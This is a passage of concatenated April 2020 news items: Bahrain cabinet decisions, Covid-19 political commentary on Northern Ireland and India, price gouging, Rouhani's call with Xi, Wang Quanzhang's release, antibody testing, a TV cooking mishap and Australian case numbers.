decided to pay the full salaries of 422 workers in kindergartens and 102 workers in nurseries, who are not insured in the Social Insurance Organisation, for three months through the Labour Fund. Development projects progress reviewed The cabinet reviewed the work progress at 96 currently implemented development projects, worth BD311 million. They include 15 road projects costing BD129 million, 49 sanitation projects worth BD118, and 32 construction projects valued at BD64 million. The session was also informed, through the memorandum submitted by the Minister of Works, Municipalities Affairs and Urban Planning, about the tenders that had been launched or awarded in three sectors during the first quarter of this year. A total of 32 tenders, worth BD92 million, were launched, while 24 tenders, costing BD16 million, were awarded during the first quarter of 2020 in the roads, sanitation and construction sectors. National Ambulance Systems performance under review HRH the Premier gave directives to submit a report on the performance of the National Ambulance System. This is in terms of rapid response and arrival of ambulance services in a timely manner to patients and the injured, as well as regarding the competence and efficiency of the ambulance services staff in light of the development and training plans held to meet the needs of the current circumstances. Mohammed bin Mubarak Academys establishment decree to be amended The session endorsed a draft decree on amending the decree establishing the Mohammed bin Mubarak Al Khalifa Academy for Diplomatic Studies. Under the amendment, the Academy will have a six-member board of trustees, led by the Minister of Foreign Affairs. The members, including the Foreign Ministrys officials or others, will be appointed as per a decree, based on the nomination of the Minister, and as recommended by the Ministerial Committee for Legal and Legislative Affairs and presented by the Deputy Prime Minister and Chairman of the Committee. Amendment to GCC nationals real estate ownership law endorsed The session approved amending the law allowing citizens of the Gulf Cooperation Council (GCC) countries to own built real estates and lands in Bahrain. The amendment stipulates that GCC owners may dispose of their property through one of the legally prescribed ways, namely a will or inheritance, after the approval of the Justice, Islamic Affairs and Endowments Minister, and in the regions specified by the High Urban Planning Committee. Presented by the Justice, Islamic Affairs and Endowments Minister, the draft law on amending the first article of Decree-Law 40/1999 on GCC citizens ownership of built real estates and lands, was referred to the Council of Representatives, in accordance with the legal and constitutional procedures in force. I have begun to wonder if catching Covid-19 has a lasting affect on a patient's rationality. Just yesterday, we had the Prime Minister, Boris Johnson, at the door of 10 Downing Street, "raring to go" when his tired and furrowed face said otherwise. He then went on to say we would progress on a pathway to recovery "with openness and transparency". The only thing transparent about Government policy in relation to Covid-19 has been its threadbare substance and lack of joined-up thinking, making it very transparent indeed. Then there was Mary Lou McDonald, president of Sinn Fein and would-be Taoiseach. Ms McDonald, like the Prime Minister, tested positive for Covid-19, quarantined and has now recovered. One of the first things on her mind was a united Ireland. She said in an interview with the Sunday Times that Covid-19 "was a greater catalyst for a united Ireland than Brexit". Like many a politician before her, Ms McDonald seems only too willing to opt for a spot of political opportunism during a crisis - even a life-threatening one like Covid-19. In these long days of lockdown, social isolation from families, friends and work colleagues, counting the hours to Irish reunification is hardly a priority - even among the most nationalist of communities. It's all about health, health and health. Ms McDonald said, because the British Government had dallied with the notion of herd mentality in its approach to Covid-19, Stormont was not able to align their Covid-19 strategy with the Republic of Ireland. In reality, it was Taoiseach Leo Varadkar who took everyone by surprise by his call for an immediate lockdown, which left the Stormont Executive wrong-footed. His lack of consultation was a huge blow to the all-island approach. The rights and wrongs of approaches will be examined at great length by historians, policymakers, politicians, scientists and journalists for decades to come. But forensic filleting of those approaches now won't lessen the pain of a single family who have lost a loved one to this cruel virus. Either way, this is neither the time or the place for another call for a united Ireland. One would have thought that the Sinn Fein president, emerging from her convalescence, could have shown more sensitivity. No one expects Sinn Fein to abandon their aspiration to a united Ireland, but there are grim realities being faced daily across the island which owe allegiance to neither Harp nor Crown. North and south, people are being buried without the grace of a wake, service, or a Requiem Mass. Unemployment is soaring. Businesses are teetering on the brink of collapse. The most vulnerable are trapped in fear and isolation and health and care workers are paying the heaviest of prices for being in the frontline in the fight against coronavirus. The Stormont Executive has been well-intentioned, but not well-disciplined. While individual ministers are working hard and quite earnestly, it's the collective spirit which will hallmark the Executive's success. Unfortunately, that spirit is missing in joint broadcasts and the public are not fooled. The DUP and Sinn Fein seem incapable of holding a 15-minute press conference without disagreeing. They seem to forget that, in coalitions, arguing should be kept at the Cabinet table, not the press conference. If discipline breaks down among the wider populace against the social restrictions currently in place, the lack of leadership by the political establishment will have played a huge role. If they look as if they are acting like cats being herded at the crossroads, the public will pay their warnings scant regard. The deputy First Minister kick-started what seems like a Lannigan's Ball approach to collegiality, stepping in one day to say the time is not right for schools to close, but then, 24 hours later, stepping out again. Sinn Fein's approach has not been coherent, even when they try to sound consistent. Just saying "testing, testing, testing" is not enough. If Stormont needed an approach to follow, it was not to be found in London, or Dublin, but in Wellington. When Arlene Foster said there was no need for testing of visitors arriving from Britain into Northern Ireland's airports, Sinn Fein - correctly - objected. However, they were less clear about what to do with the majority of visitors who arrive in Ireland via Dublin airports and who are also not tested. Sinn Fein in Northern Ireland strongly opposed the reopening of graveyards and cemeteries, while unionists wanted them open. Of course, that was until Ms McDonald said it was okay and the bereaved had been listened to. In reality, Sinn Fein could start a fight in a graveyard and that is what some of the arguments are beginning to seem like. The arguments over whether an all-island, or UK-wide, approach in tackling Covid-19 are entirely legitimate positions for debate. But they not political debates about the constitutional integrity of Northern Ireland. The Sinn Fein president should know better. When this pandemic finally leaves the island of Ireland, the tab left behind is going to be colossal. At the moment, financially speaking, the kitchen sink is being thrown at the fallout of Covid-19. But Treasury vaults, whether in Dublin or London, are not limitless. Such a reckoning will mean many things will be reappraised, both north and south. Sinn Fein needs to learn that not every opportunity to score points about building an united Ireland has to be hammered home. People are now afraid in a way never experienced before. Increasing that fear by raising the spectrum of something which many unionists are, at best, wary of is counterproductive. What will be much more impressive to the wider public will be the competence of ministers in the Executive during this crisis, the capacity to manage their departments and their ability to instil confidence in public bodies. Everything else, including a united Ireland, is for another day. Tom Kelly is a writer and commentator Retailers in Northern Ireland have been told to stop exploiting the coronavirus pandemic for profit or face sanction Retailers in Northern Ireland have been told to stop exploiting the coronavirus pandemic for profit or face sanction. It follows a series of complaints from consumers on inflated prices for basic household goods. Customers have reported seeing bottles of hand sanitiser being sold for 13.50, eight kitchen rolls for 15, individual toilet rolls being sold from a multi-pack, liquid paracetamol increasing from 3.69 to 7.49 and meat packs more than doubling in price. The Trading Standards Service said it has already issued enforcement notices to traders who are profiteering as well as monitoring online shopping sites, social media 'buy and sell' pages and online marketplaces. In a joint statement Trading Standards and The Consumer Council told retailers to stop profiteering or face action. Damien Doherty, chief inspector of Trading Standards NI, said they had received a high volume of reports of price gouging. Price gouging or profiteering is the practice of increasing the price of goods or services unreasonably. He said: "Like most people, my Consumer Council colleagues and I are concerned by the behaviour of a small number of businesses at this time. "The vast majority of businesses have responded responsibly and demonstrated all that is good about business in Northern Ireland. However, there is a minority engaged in profiteering. "Those inflating prices to profit off the backs of their communities are adding to their distress and may be severely damaging their reputation. "Consumers in Northern Ireland are likely to remember those businesses who attempted to profiteer and may well vote with their wallets once this crisis ends." John French, chief executive of the Consumer Council, said: "We are aware it is only a very small number of sellers who are unfairly inflating their prices. "The Consumer Council acknowledges that the majority of traders are not doing this and it is important to celebrate the good work retailers are doing to keep the supply chain going under such challenging circumstances. "However, we have seen evidence that price gouging is taking place and we are calling on retailers to ensure they are giving consumers a fair price." The Competition and Markets Authority (CMA) has launched a task force to crack down on businesses that may be engaging in price gouging and to consider whether there have been any legal breaches. CMA urged consumers to report business that are behaving unfairly by visiting www.coronavirus-business- complaint.service.gov.uk. US interventions undermine regional peace, stability: President Rouhani Iran Press TV Monday, 27 April 2020 6:00 PM Iran's President Hassan Rouhani says US' interventionist moves undermine security and stability in the West Asia region, especially in the Persian Gulf. Speaking in a phone call with his Chinese counterpart, Xi Jinping, on Monday, Rouhani highlighted interventionist behavior of the United States in the region, describing them as detrimental to peace, security and stability in West Asia. "Security of the region and waterways is of high importance to Iran, but unfortunately, high-risk behavior on the part of the US can undermine stability in the Persian Gulf region," Iran's president said. He hailed the Chinese government's stance on the "cruel and illegal" sanctions imposed by the US on Iran and said, "The world is currently facing a situation, under which we all need to help one other, but some parties are pressing ahead with their illegal and inhumane sanctions." Rouhani expressed hope that collective cooperation and resistance of countries such as China would lead to the establishment of a world free of sanctions. The US re-imposed unilateral sanctions against Iran in May 2018 after withdrawing from a nuclear agreement among Tehran and five world powers, which has been endorsed by the United Nations Security Council resolution. Iran sued the US at the International Court of Justice afterwards. The tribunal ruled that the US should lift its sanctions on humanitarian supplies. Washington alleges that it has exempted foodstuffs and medicine from the bans. Tehran roundly rejects the claim. The US has also refused to lift its sanctions amid the viral coronavirus pandemic, which has complicated Iran's battle against the outbreak. The Chinese president, for his part, denounced US insistence on continuation of sanctions and maximum pressure against Iran, saying that some countries look to make political gains out of the current conditions while China is ready to implement international regulations. Xi also lauded Iran's help with Beijing's fight against coronavirus pandemic and expressed his country's readiness to continue assisting Iran in its struggle against COVID-19. The Chinese president said reduction of mortality and morbidity resulting from coronavirus in Iran showed that the country has chosen the right treatment protocols and implemented them meticulously. In a phone call with his Indonesian counterpart Joko Widodo earlier on Monday, Rouhani said the United States' illegal sanctions against Iran are at odds with the fundamental principles of human rights. "[Such] illegal instances of opposition can prove dangerous in circumstances when all of the countries of the world are engaged in fighting the coronavirus," the Iranian president added. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Wang was among more than 200 lawyers and legal activists swept up in 2015 signaling President Xis tougher approach. Wang Quanzhang, a well-known Chinese rights lawyer, has been been reunited with his family in Beijing after being released from prison following almost five years in jail. Video clips posted on social media on Monday night showed Wang hugging his ailing wife, Li Wenzu, and their young son inside their home. Wang was also heard in the video saying, Thank you very much, as he hugged his frail wife, who reportedly had just returned from hospital after suffering from acute appendicitis. I feel like Im dreaming really, Li said in Mandarin between sobs. How many times have I imagined this moment, this scene? In an interview with the South China Morning Post newspaper, Wang said he felt a little dazed. In the last five years, Ive been completely disconnected from the outside world. I will try my best to get back to the world. A brief verbal exchange between Wangs family and police officials was also captured on video and posted online, in which authorities were shown trying to enter their residence and were told that they were not welcome inside. Wang was among more than 200 lawyers and legal activists swept up in 2015 in what became known as the 709 Crackdown for the date, July 9, when most of them were detained. Wang, who was picked up in August 2015, had pursued land rights cases for poor villagers and represented members of the banned Falun Gong movement. He was sentenced in January 2019 for subverting state power. In an earlier social media post, his wife Li, said Wang had been released on Sunday and taken to his house in Jinan, a city in the eastern Shandong Province. It's really so touching. After all these years! Finally, #WangQuanzhang reunites with @709liwenzu and their son Quan Quan. https://t.co/fzJ3SI97e4 Patrick Poon (@patrickpoon) April 27, 2020 Rights groups outside mainland China said Chinese police have put other released lawyers under house arrest to isolate them from colleagues, friends and supporters. While authorities had intimidated and harassed lawyers previously, the round-up signalled President Xi Jinpings much tougher approach to quashing any possible threats to Communist Party rule. A statement issued by six human rights groups before his release urged China to refrain from putting Wang under house arrest or surveillance and allow him to return to Beijing. In a social media post, Yaqiu Wang, researcher of Human Rights Watch for China, wrote: May this union be permanent. May they recover from all the torment inflicted by the Chinese Communist Party. She said Wangs family is a powerful reminder of why we do the work we do, why we must do it and why it is so worth it. Five weeks ago, the nationwide lockdown announced by Prime Minister Narendra Modi placed the Indian economy in cold storage. It also seems to have put politics on ice. As the government prepares to gradually dial down the economic freeze on May 3, politics, too, must emerge from its hibernation. Politics at its core is about forging a settlement out of diverse public policy positions. Indeed, the very nature of the coronavirus disease (Covid-19) invites divergent approaches to halting the spread of the virus and blunting its impacts. And yet, the current moment presents a set of paradoxes in the political realm. First, although the pandemic presents a unique political moment with enduring consequences for parties and leaders, it also is a fraught time for political mobilisation. National crises are usually conceived as opportunities for citizens to rally around the flag, perhaps even more so in India than in many other democracies. Therefore, it is not easy for the Opposition to critique the governments handling of the crisis. Second, the government is taking monumental, high-cost decisions with the objective of shielding citizens from the pandemic. But, citizens, the Opposition, and civil society struggle to hold it accountable. On March 24, India instituted one of the most stringent lockdowns in any country in the world. Was this a wise, far-sighted decision or a hasty overreaction? The counter-factuals are too complex to answer this question with precision. Thus, it is hard to pin the blame on the incumbent because the crisis feels unprecedented. Third, the crisis reveals huge faultlines in Indias political economy poor capital-labour relations, weak protections of migrants and informal workers, neglect of public health systems, and grave disparities between the haves and the have-nots. And yet, given the scale of the mobilisation and its expected duration, chances are that citizens will be gasping for air when the dust finally settles. At that point, there may be little appetite for translating the lessons of the crisis into actionable reform. The emotional and psychological bandwidth of 1.3 billion Indians will be stretched to its outermost limits. Fourth, while the states are doing the bulk of the heavy lifting albeit with significant variations their efforts are likely to be overshadowed by the central governments unparalleled visibility. Of the scores of measures taken to curb the pandemic, it is state health workers, police officers, and administrators that are on the frontlines. In normal times, state-level differentiation might be possible. But the Centres invocation of the Disaster Management Act (DMA) has shrunk available political space because it is the Centre that is issuing guidelines on the lockdown, testing, procurement and treatment infrastructure. States are cast as mere implementers of central edicts. Even a success story like Kerala found its attempts to widen the scope of permitted economic activities thwarted by New Delhi. Going forward, politics should not continue to operate in a state of suspended animation. After all, other democracies have managed however imperfectly to balance the demands of democracy with the imperatives of crisis response. In the United States, there is a daily display of political wrangling between Washington and state capitals and in the ongoing presidential campaign. Closer to home, South Korea just held a presidential election recording the highest turnout in three decades. Politics must resume its course in India as well. While open political contestation faces practical hurdles, some aspects of this crisis actually deserve to be politicised. Perversely, the effort to depoliticise the crisis is itself a form of politicisation. First, this should not become a purely rally-round-the-flag crisis. The objectives are too ambiguous and trade-offs too complicated to justify such a framing. Although the Bharatiya Janata Partys dominance makes effective critiques of the Centres decisions difficult, questions must be raised about alternative strategies and policy approaches. Second, even though accountability for outcomes is difficult, the government must be held responsible for its crisis modelling, mitigation efforts, and measurable outputs such as treatment infrastructure. Citizens deserve detailed, data-driven, model-based explanations for key strategic choices, and regular updates on personal protective equipment procurement, hospital bed availability, intensive care unit capacity and supply of ventilators. Third, since the crisis has revealed huge social and economic fractures from the issue of seasonal migrants to the urban poor the challenge for politics is to keep these issues on the front-burner rather than waiting for the crisis to subside. Fourth, states must demand more space to chart their own paths. There is enormous subnational diversity in economic realities, health systems, and administrative capacity. Legally, the states have a case. The Constitution places public health in the State List, while controlling the inter-state transmission of epidemics is in the Concurrent List. While the Centre has invoked the DMA, it is debatable whether the Centre can supersede the states in an epidemic, especially because the Epidemic Diseases Act, 1897, empowers the states to regulate activities to reduce virus transmission (and the Centre to regulate ports of entry). However, this space needs to be reclaimed it will not be easily ceded. Crises are often moments when political fortunes are made or unmade. Pressing the pause button on politics for too long would be both unwise and unhealthy for the long-term prognosis of Indian democracy. Suyash Rai is a fellow at Carnegie India, New Delhi. Milan Vaishnav is a senior fellow and director of the South Asia Program at the Carnegie Endowment for International Peace in Washington, DC The views expressed are personal Who will be struck down by Covid-19 and who has already had it are questions that are key to ending the lockdown that began five weeks ago. And central to this is testing. The Government promised to provide 100,000 tests a day by the end of this week to check using a swab test those currently thought to have the infection. The idea was to focus on ten million key workers bus drivers, teachers, waste collectors and allow them to test themselves at home. But this scheme has rapidly collapsed under the strain of an overwhelming demand, with home testing kits fully booked within an hour yesterday. Meanwhile, efforts to find a method of testing for immunity to the virus have also been problematic. An antibody test would give a picture of how many people are susceptible to this potential new killer and how many have already been infected with it and may have immunity. Who will be struck down by Covid-19 and who has already had it are questions that are key to ending the lockdown that began five weeks ago. And central to this is testing Earlier this month, the Government spent 16 million on 3.5 million fingerprick antibody tests imported from China, and placed further provisional orders for 17.5 million tests from nine firms, including ones based in the UK. But after testing all of them, Public Health England the agency in charge of protecting us decided none was accurate enough to use. Meanwhile, a number of private doctors have been offering antibody tests at up to 190 each. With the range of Covid-19 symptoms widening from a dry cough to a loss of sense of taste and smell, plus eye or stomach problems, many people are wondering if they have had it and may well be tempted to fork out for the test for peace of mind. But some experts are now asking whether immunity tests are actually worth doing at all. The test to detect active Covid-19 infection involves running a cotton wool swab round the back of the throat and up the nose. The swab is then sent off to a laboratory which runs a test to look for genetic material from Covid-19. What it is looking for is the live virus. Immunity tests work by looking for two different antibodies the body produces that are unique to Covid-19, and use a drop of blood mixed with a 'reagent' that contains a synthetic coronavirus molecule. If the blood contains Covid-19 antibodies, they will lock onto the lookalike virus. The result can be read using a device that works a bit like a pregnancy test. While claims are made that some of these tests are 98 per cent accurate, Public Health England rejected such figures. (Some of the tests it purchased were apparently only 50-60 per cent accurate.) An antibody test would give a picture of how many people are susceptible to this potential new killer and how many have already been infected with it and may have immunity Last weekend, it was reported that experts at the University of Oxford are helping develop a new antibody test based on blood taken from those only mildly affected as well as those in the early phase of the disease which, it is suggested, makes this test more than 99 per cent accurate. The consortium developing the new test believes it is going to be able to produce up to a million of them by this summer. Professor Karol Sikora, chief medical officer of the chain of private Rutherford Cancer Centres, says his company ordered immunity tests from Korea that had been checked in German laboratories. They were further checked here by a high-quality private laboratory. But Professor Sikora now believes such tests are a waste of time. Out of 108 people tested, they have detected only eight positive samples. 'We know the virus has been in our buildings, so the prevalence simply has to be higher,' he says. 'It seems many people exposed to the virus don't develop the antibodies measured by these tests. 'Young people, in particular, must be seeing off the virus by some other mechanism before it triggers any antibody response.' According to one study, up to 30 per cent of Covid-19 patients do not develop enough antibodies to protect them from reinfection. The Government promised to provide 100,000 tests a day by the end of this week to check -using a swab test - those currently thought to have the infection The findings were made by scientists at Fudan University in China who ran tests on 175 recovered Covid-19 patients. They found older and middle-aged patients had 'significantly' higher levels of antibodies than younger ones. Ten patients had such low levels of antibodies they weren't detectable at all even though they had recently recovered from the virus. Despite such findings, some experts believe antibody tests are better than nothing. 'Most people should produce a positive antibody test 14 to 28 days after infection,' says Dr Nick Beeching, a consultant in infectious diseases at Liverpool School of Tropical Medicine. 'These tests can stay positive for many years, or immunity can go down quite quickly,' he told Good Health. DEVICE SPOTS LUNG PROBLEMS BEFORE YOU GET BREATHLESS As Good Health revealed last month, patients with severe lung disease are advised to monitor their health at home with a pulse oximeter, a device that measures oxygen levels in the blood. A drop in levels can occur before any other symptoms of Covid-19 emerge. An oximeter can be purchased for as little as 20 from chemists or online. Placed on the fingertip (some work on the ear), it emits beams of light that pass through the skin to a sensor on the other side. Oxygenated and deoxygenated blood absorb light differently, and the device uses this to estimate the amount of oxygen in the blood. A reading of above 95 per cent is normal for a healthy person. GP Dr Nick Summerton suggests that when patients first get a pulse oximeter, they take a reading to learn what a normal level is for them. 'After that, if they get any Covid-19 symptoms, they should monitor it every few hours,' he says. 'If their oxygen saturation drops by 2 or 3 per cent, they should call their GP, specialist nurse or 111.' Richard Levitan, an A&E specialist in the U.S., suggested last week that otherwise healthy people may also want to consider getting a device. He told the CBS television audience: 'This disease kills by silent hypoxia [oxygen deprivation] and patients should understand that shortness of breath is a late sign. The public should think of an oximeter the way they do a thermometer.' In Britain, some GPs are giving oximeters to patients who are self-isolating. However, Martin Godfrey, a GP in South London, said that dishing them out randomly could cause shortages. 'They're only needed for people with asthma or chronic obstructive pulmonary disease,' he says. Advertisement Coronaviruses, which were first identified in the 1960s, are a main cause of minor colds. However, the immune system rapidly 'forgets' what they look like and the same virus can cause re-infection within as little as four months. 'It is around 18 months for SARS and MERS, but in the case of Covid-19 we don't know how long immunity may last,' says Dr Beeching, adding: 'Also, there's a need for better tests.' OUR immune system is a complex network of cells and proteins in the blood and lymph system. Theoretically, it keeps a record of every disease-causing agent that has tried to attack your body so it can rapidly recognise and destroy it should it reappear. It uses large Y-shaped proteins called antibodies or immunoglobulins to detect and bind to disease-causing bacteria and viruses. Once tagged by these immunoglobulins, other parts of the immune system move in to destroy them. According to Professor Sikora, the low number of positive antibody tests he's seen suggests that other elements of the immune system T-cells and natural killer cells may be the agents which are getting rid of the infection, particularly in younger people. If this is the case, then the current generation of immunity tests could be largely redundant. Meanwhile, other evidence suggests many people who catch Covid-19 show no symptoms at all, and the disease may not even be as infectious as feared. For instance, of the 3,700 people with an average age of 70 on the ill-fated Diamond Princess cruise ship (which was quarantined at sea off Japan for four weeks earlier this year), only 712 tested positive for the Covid-19 infection. Less than half (331) of those who tested positive had no symptoms; and of the remaining 381 who were taken ill, only 37 needed treatment in intensive care, and nine died. Differences between the sexes may play a part (see panel, right). Genes are also likely to explain some of this variation. Covid-19 latches onto a protein made by the ACE2 gene, which is a regulator of blood pressure, kidney function and fertility. It is possible that variants in this gene protect many people from Covid-19 infection, in the same way that gene mutations have been shown to protect some people from HIV infection. Professor Priya Duggal, a geneticist at Johns Hopkins University in Baltimore, Maryland, has already shown that variants in another gene can explain why some people spontaneously get rid of the liver infection hepatitis C. Most of the severe Covid-19 cases have been in elderly people, and Professor Duggal is now looking at the genetic profile of younger patients. 'There are cases of people in their 40s and 50s who have been badly affected and we are looking at the full genome and differences in the gene receptors that are at play,' she told Good Health. Meanwhile, Andrea Ganna, a biostatistician at Helsinki University in Finland, is leading a huge international effort to investigate Covid-19 sym-ptoms among individuals who have contributed DNA to gene databases such as the Oxford-based UK Biobank (which already has DNA from 500,000 volunteers aged over 40) to see if risky genes can be identified. Andrea Ganna said the project would identify genes that influence susceptibility to Covid-19, severity of infection and outcome. 'We are [only just] running the first set of analyses and we don't have any results to discuss at the moment,' he told Good Health. However, he added that the first results are just a few weeks away. Once Covid-19 susceptible genes are identified, then the goal would be to encourage people to embark on lifestyle changes to protect their health. For instance, obesity has been identified as a factor in patients who suffer severe Covid-19, so carriers of susceptible genes could be encouraged to lose weight to potentially reduce their risk. IS THIS WHY MORE MEN ARE DYING THAN WOMEN? Men have died of Covid-19 at about twice the rate of women, according to data from the Office of National Statistics. Similar patterns were seen during earlier outbreaks of SARS, a related but less deadly coronavirus infection that first appeared in China in 2002; and of MERS, which first appeared in Saudi Arabia in 2012. At first, scientists assumed the differences were due to different smoking rates between the sexes. Now, however, there is growing evidence that women have much more effective immune systems. They are generally more resistant to infection caused by bacteria and viruses, and seem to be able to harness a better response when they are attacked by disease-causing agents such as bacterial tuberculosis, as well as influenza-type viruses such as Covid-19. They also respond better to vaccines, making many more antibodies against whatever infection the vaccine is targeting particularly flu, which is related to Covid-19. Men have died of Covid-19 at about twice the rate of women, according to data from the Office of National Statistics The immune system network is influenced by sex hormones, which also seem to provide better immunity in women. The decline in hormone levels in old age might be one of the reasons the immune system in both women and men becomes less efficient. (Stress and sleep deprivation also damage immunity, as does 'overnutrition'. People who are obese or have conditions such as type 2 diabetes have impaired resistance to infection, which helps explain why the majority of Covid-19 deaths have involved people who are overweight.) The downside of this active female immune system is that it is prone to go into accidental overdrive, leading to auto-immune diseases such as rheumatoid arthritis, which is far more common in women. A growing understanding of genetics has revealed what might be going on, with large concentrations of genes controlling immunity and regulation of the body's defence systems on the X chromosome. Women inherit two X chromosomes, one from each parent; men inherit a Y chromosome conferring male characteristics from their father, and an X chromosome, which sits alongside it, from their mother. Geneticists had believed that only one of the X chromosomes was doing very much in women, but now they have discovered that the second one provides a comprehensive back-up service when required. It means if women have a defective gene on one X chromosome, it could be cancelled out by the work of a better quality gene on the other. This may explain why women generally outlive men. While many doctors have claimed that fewer women than men are contracting Covid-19 in the first place, Professor Priya Duggal, director of the genetic epidemiology programme at Johns Hopkins University in Maryland, U.S., says infection rates are the same. 'We don't see a difference in infection, we see a difference in survival,' she says. 'The people dying from it tend to be adult males with comorbidities [other underlying illnesses], but we don't see as many deaths in women with the same comorbidities.' She believes the way forward lies in observing the activity of different genes in men and women at different stages of the disease, in order to understand what genes are active in women but not in men. Meanwhile, work at the University of Michigan in the U.S., has focused on a specific type of immune cell called mast cells. The team has found that while such cells from men and women have the same genes (with the exception of the sex chromosome gene), their levels of activity vary dramatically. There are 4,000 genes that are more active in female mast cells than in male ones, undoubtedly contributing to the better immune response. The goal is to try to identify what these efficient elements of the female immune system might be, in the hope that the substances made by these genes might be developed into medicines to help fight off lifethreatening infection. Masterchef star John Torode caused panic on This Morning when he accidentally started a fire in his kitchen while filming from in his north London home. The TV star, 54, had been making homemade McMuffins on Tuesday, when a tea towel which had been sitting on top of his oven, suddenly caught on fire. Hosts Holly Willoughby, 39 and Phillip Schofield, 57, shouted: 'John! Your tea towel is on FIRE! Behind you, behind you, John!' OMG! This Morning was plunged into chaos on Tuesday as John Torode set his tea towel on FIRE during a cooking segment... leaving Holly and Phil screaming in the studio 'Turn around, turn around, behind you, on fire....!' but John did not seem to notice at first because he was so engrossed in his presenting duties. John then noticed and calmly said: 'Oh, thank you,' as he picked up the flaming rag and Holly and Phil pulled their hands to their faces in shock. John, who shares his home with wife, Lisa Faulkner, 48, then carried the tea towel to the sink to put water on it in order to stamp it out and smoke billowed up in plumes. Fire! Fire! Holly Willoughby and Phillip Schofield noticed the fire and tried to alert John as they screamed but he didn't notice at first He's in the zone: As the tea towel set alight, John was so engrossed in his presenting duties, he did not hear Phil and Holly's screams 'I'm just going to open the back door,' John said. Holly then said: 'Oh my gosh, are you OK? You were so calm about that.' 'Well, he didnt know,' Phillip said while nervously giggling. Among all the panic, John's fire alarm then went off as he continued to film live. Tasty muffins: As John held up his buns, a disaster was taking place behind him Safety is everything: Springbourne fire station had some wise words to pass on about the incident John said: 'Brilliant. Its alright. Right, were all back now, all calm. Ok, your eggs are steamed and cooked Holly said from the studio: 'Ok so Im buttering my muffin John quipped: 'Is it nice buttering your muffin Holly?' Later on in the show, John returned to reassure viewers that all was well. Holly asked him: 'You put it out very calmly in the sink. Are you OK?' John replied: 'Im really good thank you, Ive cleaned out and washed it away, everything is clean and lovely. The full recipe is up now. Ive got to say Phillip, I think yours was great.' Phillip said: 'Thank you, you didnt burn yourself did you?' John replied: 'No, no, the towel itself just caught fire, I put it in the sink. But yeah, all good thank you.' The people have spoken: A host of memes also quickly materialised shortly after John's mishap The shock event caused viewers to post a series of memes mocking John, from The Fresh Prince Of Bel Air, Everybody Loves Raymond and Mrs Doubtfire to name a few. People tweeted things like: 'Nothing could have been a better gift today than John Torodes tea towel catching on fire on This Morning.' 'John Torode just cooking whilst his house burns down is a mood for 2020 #ThisMorning.' 'John Torode setting fire to his tea towel live on This Morning is the highlight of my life!!! #ThisMorning.' SOS! Holly threw her hands to her mouth in horror and Phil tried to stop his giggles as John threw the tea towel in the sink That could have been terrible: As smoke billowed out of his sink, John's fire alarm started to go off amid the panic It's fair to say that people only saw the funny side because there was no harm done. The Springbourne Fire Station tweeted: 'Just watching This Morning with John Torode. Please don't leave tea towels on your hob. 'Accidents can happen to anyone, including professional chefs. His smoke detector did go off which shows the importance of working smoke alarms.' Australia shatters coronavirus curve: Just seven new cases and zero deaths recorded in 24 hours by ALISON BEVEGE AND AAP April 28,2020 | Source: Daily Mail Australia recorded just seven new cases of coronavirus on Monday, as the country's chief medial officer shed light on the 'problematic' issue of when to allow pubs and restaurants to reopen. A total of four states and territories recorded no new cases as Australia's lockdown restrictions continue to smash the COVID-19 curve. Australia's reduction of new infections is the envy of the world, with the global number of cases rising to more than three million globally on Monday night. Western Australia, South Australia, the Australian Capital Territory and the Northern Territory all had no new cases on Monday. Victoria recorded one new infection but had a separate case reclassified to New South Wales - leaving the state's total unchanged at 1,349. New South Wales and Tasmania had two new cases each while Queensland had three. Australia now has a total of 6,721 confirmed cases of which 83 have died and 5,588 have recovered. Of the 1,050 active cases, 43 people are in intensive care and 27 are on ventilators. Travel bans, closed borders and business shutdowns have slashed the number of new daily cases from a peak of 460 on March 28. Chief Medical Officer Brendan Murphy said on Monday the government's 'suppression' strategy was working. He said that if the progress continued, restrictions may soon be gently relaxed - meaning people would be able to sit on a park bench or possibly hold small gatherings. Prof Murphy said if there were no outbreaks as a result of easing those restrictions, further shutdown measures would be relaxed. Prof Murphy said a major concern is that Australians would become complacent with social distancing as the curve continues to flatten. 'That's an ongoing worry. Obviously it's much better to be in the position we are now than the one we were in a month ago,' he told the ABC's 7.30. 'Particularly in some states that have had no cases for some days, it is hard to keep that message. That's why the National Cabinet wants to look at whether there are some safe measures that could potentially be relaxed in two or three weeks. 'But they want to be able absolutely before we do that that we are really well prepared in our public health response for any outbreaks that can occur. We've seen already how infectious this virus is.' Prof Murphy said the priority is getting children back to school. Northern Territory schools have resumed classes already while Western Australia and South Australia were on the way, he said. Restaurants are likely to reopen with restrictions sooner than pubs and clubs which would be more 'problematic', Prof Murphy said. Almost two million Australians have downloaded the coronavirus tracing app within a day of its release, far exceeding expectations. The COVIDSafe app is designed to help health officials identify people who have come into contact with somebody infected with the disease. The voluntary app became available for download on Sunday evening and has the backing of doctors, nurses, businesses, bankers and travel agents. By Monday afternoon 1.89 million people had downloaded the app, far exceeding the one million within five days that was initially expected. The government ultimately wants at least 40 per cent of the population on board. The tech community has swung behind the new contact tracing software after analysing it with privacy concerns in mind. Associated Newspapers Ltd Theme(s): Others. Heres a look at whats new or notable in home video. Many recent movies are arriving on digital platforms sooner than expected since social distancing measures in response to the coronavirus have shut down theaters. Movies are available on streaming sites such as iTunes, Amazon and Vudu unless otherwise noted. New Original movie Bad Education: Hugh Jackman, who played failed presidential candidate Gary Hart in the biopic The Front Runner, is a Long Island school superintendent in this terrific new fact-based HBO drama. As the movie begins, he challenges a student journalist to dig a little deeper when she describes a story shes working on for the school paper as a puff piece. So she does, and like the reporters covering Harts campaign, she uncovers some monkey business: The superintendent and his assistant had embezzled millions from the school district. Now streaming on HBO Go and HBO Now. New Rent it now The Dark Red: A young woman insists that her unborn child was stolen by a cult because its rare blood type promises superhuman powers. Her therapist at the hospital where she is being held has her doubts. If you found The Dark Red, which premiered in 2018 at the Austin Film Festival, in a horror movie cookbook, the ingredients would include equal parts Rosemarys Baby and David Cronenbergs Scanners with a dash of Get Out. Not bad for a rehash. Previously released and now streaming; also on DVD. Also: The Assistant, The Rhythm Section Related: Watch at Home: Like a Boss now on digital New Series In the Loop: Mercer, Ohio, is a company town. Since the company in question is a center for experimental physics that aims to unlock and explore the mysteries of the universe, residents of the otherwise ordinary Middle American burg might bump into their future self or switch bodies with a friend. This series, inspired by the science fiction imagery of Swedish painter Simon Stalenhag, is as close to a dream as TV gets. Pilot streaming for free through May 6 on amazon.com/sxsw as part of Amazon Prime presents The SXSW 2020 Film Festival. Full first season on Amazon Prime. Notable Binge watch Better Things: Pamela Adlon based this series about a working actress and single mom on her own life, and the picture she creates a mix of 